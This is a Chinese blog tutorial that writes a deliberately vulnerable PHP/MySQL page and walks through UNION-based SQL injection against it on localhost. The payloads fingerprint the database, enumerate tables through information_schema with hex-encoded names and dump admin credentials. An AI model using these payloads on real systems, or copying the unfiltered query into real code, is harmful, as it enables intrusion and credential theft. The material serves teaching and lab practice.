`
wangking717
  • 浏览: 263182 次
  • 性别: Icon_minigender_2
  • 来自: 成都
社区版块
存档分类
最新评论

PHP+MYSQL 【注入漏洞】攻防测试

阅读更多

小编说:本着文明原则,就不拿别人的站点来测试了,自己写一个有漏洞的程序,然后一次解析注入漏洞的原理,希望大家举一反三,别干坏事就行了。较出名的注入工具有:明小子的domain 4.1 、小竹的NBSI、教主的HDSI和啊D的注入工具等等,可以初学可以用这些来试试。

 


有漏洞的PHP代码:

<?php
$dbserver='localhost';
$dbusername='root';
$dbpassword='root';
$dbname='wap_impressions';

$id = $_GET["id"];

$conn=mysql_pconnect($dbserver,$dbusername,$dbpassword);
mysql_select_db($dbname);
mysql_query('set names utf8');

$sql = "select * from visitors where v_id=$id";

$result = mysql_query($sql);

if($row = mysql_fetch_array($result)){
  echo $row["visitor"]."->".$row["browser_type"]."<br/>";
}

mysql_close($conn);


?>

 


该代码很简单,就只接收ID参数,并从数据库中查询,显示...其中获取到参数后,并为做特殊的过滤,因此就有章可循,呵呵。。

 

我们先来访问下这个DEMO程序显示的是什么样的。

输入http://localhost/wapdemo/test.php?id=1

显示:192.168.2.210->IE

 

测试是否该程序对参数进行了特殊过滤,可以通过在参数后面加上and 1=1或者and 1=2来测试、、

当and 1=1正常显示,and 1=2不显示,那么就证明了我们加入的这几个参数在代码里起作用了,存在漏洞,那我们开始通过SQL注入漏洞来猜解一下吧。

 

1.猜解现在程序页用的表有多少个字段,可以用“order by 字段下标” 来测试他有多少字段。

http://localhost/wapdemo/test.php?id=1 order by 6  (结果报错)

http://localhost/wapdemo/test.php?id=1 order by 5  (未报错)

那么证明有5个字段。。。

 

2.查询那些字段在该页可用

http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,2,3,4,5

显示:2->4

证明第2和4字段在该页显示了,那么我们就可以把我们想要的信息都替换在该字段显示出来,比如查看数据库版本,数据库名等。。

 

3.查看数据库版本和数据库名

http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,version(),3,database(),5

显示:5.1.36-community-log->wap_impressions

看来我用的数据库版本是5.1的,用的表是wap_impressions,可以在代码中可以看到,确实是这个表。

 

4.知道了数据库名就好办了,那么我们可以通过MYSQL系统表information_schema来获得wap_impressions下的所有表以及表下的字段,当然PHP参数的获取自动屏蔽了单引号,没关系,我们可以用16进制绕过。

16进制的获取方法,可以通过MYSQL的参数hex("xxxx")或者通过PHP或者JAVA或者网上的工具来转,这里就不多说了。

 

4.1. 找出wap_impressions下的管理员表

 

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit 0,1

....

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit N,1

 

N次的爆破,终于把wap_impressions下所有的表都显示出来了。

 

0x7761705F696D7072657373696F6E73就是wap_impressions的16进制

 

最后找出管理员表

显示:admin->4

 

4.2. 找出admin下的管理员表下所有的字段

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit 0,1

...

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit N,1

 

0x61646D696E是admin的16进制

 

最后找出admin表中所有字段为

显示:admin_id->4

          admin_name->4

          admin_pass->4

5.终于最后把管理员的表拿到手了

admin

admin_id    admin_name   admin_pass

 

那么我们就可以来查询所有该表下的管理员了

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit 0,1

...

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit N,1

 

找出管理员:

显示:wangking->123456

 

 

当然一般网上的密码都是加密了的,网上有很多的解密工具,这里只是说说怎么用注入漏洞进行猜解,获取我们想要的信息。

分享到:
评论

相关推荐

    Order By靶场(PHP+Mysql)

    总结来说,"Order By靶场(PHP+Mysql)"提供了实践SQL注入攻防的平台,涵盖了PHP编程、MySQL查询和SQL注入防范等关键知识点。通过这个靶场,你可以学习如何编写安全的PHP代码来防止SQL注入,以及如何识别和利用SQL...

    mysql注入环境

    在本文中,我们将深入探讨MySQL注入的原理、如何在Linux或Windows环境中搭建测试环境,以及如何使用sqli-labs进行实战演练。 首先,MySQL注入是黑客利用不安全的SQL查询来攻击Web应用程序的一种方法。当用户输入的...

    《2024攻防演练必修高危漏洞集合》

    - **其他类型漏洞**:共2个,包括命令执行和JNDI注入漏洞,涉及金山、用友等厂商。 #### 三、自查高危详情 下面将详细介绍部分高危漏洞的具体情况,以便企业能够更好地理解和应对这些问题。 ##### 3.1 YzmCMS pay...

    web攻防教程

    **PHP+MySQL注入实例** 在PHP和MySQL环境中,攻击者通常首先寻找注入点,然后判断数据库类型,接着尝试获取数据库结构和数据内容。例如,通过在URL中添加单引号,如果页面返回异常,可能表明存在SQL注入漏洞。一旦...

    Hackzone-tunisia-CTF:网站 CTF php + mysql + bootstrap

    3. SQL注入防御:识别和修复SQL注入漏洞,如使用参数化查询或预编译语句。 4. 权限管理:了解如何分配和控制数据库用户的权限,防止未授权访问。 5. 安全设置:配置MySQL服务器以提高安全性,如限制远程连接,更改...

    web渗透测试洞察安全教程

    2. WEB安全漏洞攻防:详细讲解了常见的Web安全漏洞,包括: - 弱口令攻击:利用系统或服务的弱口令进行破解尝试。 - HTML注入:在网站中恶意注入HTML代码,可能引起跨站脚本攻击(XSS)。 - XSS漏洞:跨站脚本...

    PHP与SQL注入渗透方法.doc

    ### SQL注入渗透方法详解:PHP环境下的攻防策略 #### SQL注入原理与危害 SQL注入是一种常见的网络安全漏洞,尤其在Web应用中极为普遍。当Web应用程序未能正确验证和过滤用户输入,恶意用户便能通过输入特定的SQL...

    网络渗透测试环境安装包

    phpStudy是一款非常流行的PHP开发和测试环境集成软件,它集成了Apache服务器、MySQL数据库和PHP等多种Web开发所需组件。在渗透测试中,phpStudy可以用来快速搭建网站应用,以便测试者的代码能在真实的环境中运行。它...

    SQLi Labs实验指导书

    通过不断的实践操作,学习者不仅能够掌握如何发现和利用SQL注入漏洞,还能加深对数据库安全重要性的认识,提高对注入防护措施的理解。同时,通过实际操作,学习者能够学习到在不同的情况下,如何灵活地分析和构造...

    dvwa测试环境,哈哈哈哈哈哈哈

    在DVWA环境中,你可以通过尝试输入特定的字符或字符串,触发SQL注入漏洞,了解其工作原理和防护措施。例如,DVWA的"SQL注入"模块就提供了多个级别,让你逐步了解如何利用和防止这种攻击。 其次,渗透测试是网络安全...

    DVWA.rar+xampp工具

    DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。这节实验主要使用WebCruiser工具对网站的登录页...

    sqli-labs.zip

    5. **工具使用**:可能介绍一些常用的SQL注入工具,如Burp Suite、SQLMap、Nmap等,以及如何使用它们来自动化检测和利用SQL注入漏洞。 6. **环境搭建**:压缩包可能提供了快速搭建实验环境的指南,帮助学习者在本地...

    网络攻防对抗课程设计高分报告.docx

    DVWA(Damn Vulnerable Web Application)是一个故意设计了很多漏洞的Web应用程序,常用于安全测试教学。 #### 三、具体任务与实施步骤 ##### 任务一:防御设置—Python-HTTP流量抓取 1. **开启服务**:首先,在...

    web渗透测试技巧(下)

    SQL注入是一种常见的Web应用安全漏洞,攻击者通过将恶意SQL代码插入到应用程序的输入字段中,从而控制数据库执行非授权操作。根据不同的利用方式,SQL注入可以分为多种类型: 1. **基于联合(Union Based)**:这种...

    DVWA-master靶场搭建过程

    DVWA靶场的搭建是一个学习和实践网络攻防的重要步骤,它提供了各种常见漏洞的模拟环境,如SQL注入、XSS攻击、文件包含漏洞等。下面将详细介绍如何搭建DVWA靶场。 首先,你需要准备以下工具和环境: 1. **操作系统**...

Global site tag (gtag.js) - Google Analytics